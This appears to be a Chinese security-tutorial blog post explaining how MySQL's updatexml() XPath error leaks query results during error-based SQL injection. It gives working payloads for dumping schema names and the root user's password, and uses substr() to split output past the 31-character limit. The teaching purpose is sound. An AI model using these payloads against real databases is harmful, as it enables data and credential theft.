updatexml报错注入原理分析

news/2024/11/28 7:00:39/
《网络安全自学教程》

在这里插入图片描述

SQL注入时,经常利用updatexml()的报错特性来脱库。

updatexml报错原理

  • 1、updatexml语法参数
  • 2、报错原理分析
  • 3、使用updatexml()脱库
  • 4、分割显示结果

updatexml() 的作用是修改xml文件的内容。

1、updatexml语法参数

updatexml(参数1,参数2,参数3)

  • 参数1: 文件名,比如 a.xm
  • 参数2:路径,比如 contry->city1
  • 参数3:替换的值内容,比如 tianjing

就是把 a.xm 文件中 contry->city1 标签的值改成 tianjing

2、报错原理分析

参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。

比如我给参数2一个特殊符号~,它就会把这个特殊符号显示出来。

​​​​​​​​​​​​在这里插入图片描述

如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()里插入别的函数。

select updatexml(1,concat('~',database()),3);
  1. 它会先执行最里面的 database() ,查看到前使用的数据库是test。
select updatexml(1,concat('~',test),3);
  1. 再执行 concat() ,拼接成~test
select updatexml(1,~test’,3);
  1. 再执行updatexml(),一看参数2是 ~test,不符合Xpath语法,就报语法错误,停止执行SQL,然后把报错位置的参数显示出来。像下图的执行结果那样,我们就拿到了当前使用的数据库

在这里插入图片描述

3、使用updatexml()脱库

按照上一步的逻辑,在函数中再插入括号,括号里写SQL语句,就能执行任意SQL,比如:查看root用户的密码。

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

在这里插入图片描述

插入脱库语法来脱裤。

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

在这里插入图片描述

这里大家能注意到,我文章中的SQL故意换行了,这个换行不是语法要求,是给你自己看的,否则嵌套这么多括号,很容易写错。

4、分割显示结果

updatexml() 显示的报错内容字符串,最大长度是31个字符。脱库的结果显示不全,我们可以用 substr() 截取不同位置的字符串,分别显示出来。

比如:从第1个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

在这里插入图片描述

从第32个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

在这里插入图片描述
直到显示完所有字符。


http://www.ppmy.cn/news/1550555.html

相关文章

【机器学习】决策树详解

摘要: 本文深入探讨机器学习中的决策树算法。首先介绍决策树的基本概念与原理,包括信息熵、信息增益等核心概念,详细阐述决策树的构建过程,如特征选择、节点分裂与停止条件等。通过大量代码示例展示决策树在数据分类与回归任务中的…

SpringMVC前后端数据交互

一、JSON格式数据 1、定义 JSON(JavaScript Object Notation, JS 对象标记) 是一种轻量级的数据交换格式,已被广泛用于数据保存和交换,是迄今为止最为理想的数据交换语言。 JSON 独立于编程语言 层次结构简洁和清晰 易于人阅读和编写,也易于…

Vue框架开发一个简单的购物车(Vue.js)

让我们利用所学知识来开发一个简单的购物车 &#xff08;记得暴露属性和方法&#xff01;&#xff01;&#xff01;&#xff09; 首先来看一下最基本的一个html框架 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"&…

Rust语言俄罗斯方块(漂亮的界面案例+详细的代码解说+完美运行)

tetris-demo A Tetris example written in Rust using Piston in under 500 lines of code 项目地址: https://gitcode.com/gh_mirrors/te/tetris-demo 项目介绍 "Tetris Example in Rust, v2" 是一个用Rust语言编写的俄罗斯方块游戏示例。这个项目不仅是一个简单…

RabbitMQ 安装延迟队列插件 rabbitmq_delayed_message_exchange

前言&#xff1a; RabbitMQ 延迟队列插件&#xff08;rabbitmq_delayed_message_exchange&#xff09;是一个社区开发的插件&#xff0c;它为 RabbitMQ 添加了支持延迟消息的功能。通过这个插件&#xff0c;用户可以创建一种特殊的交换机类型 x-delayed-message&#xff0c;该…

【React】React 组件通信:多种方式与最佳实践

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 React 组件通信&#xff1a;多种方式与最佳实践组件通信的基本概念父子组件通信…

责任链模式在spring security过滤器链中的应用

责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;是一种行为型设计模式&#xff0c;它允许多个对象按照顺序处理请求&#xff0c;并且每个对象可以选择自己是否处理该请求或将其传递给下一个对象。 在Spring Security中&#xff0c;责任链模式得到了广泛应…

C++多线程——线程

1、线程与进程 进程是一个具有独立功能程序的运行实体&#xff0c;如某一个程序&#xff0c;运行时便产生一个进程&#xff1b;通常一个进程包含一个或多个线程。普通C程序多是只含有一个线程的进程&#xff0c;但是大多数情况下遇到的是多线程的进程。 线程与进程都是操作系统…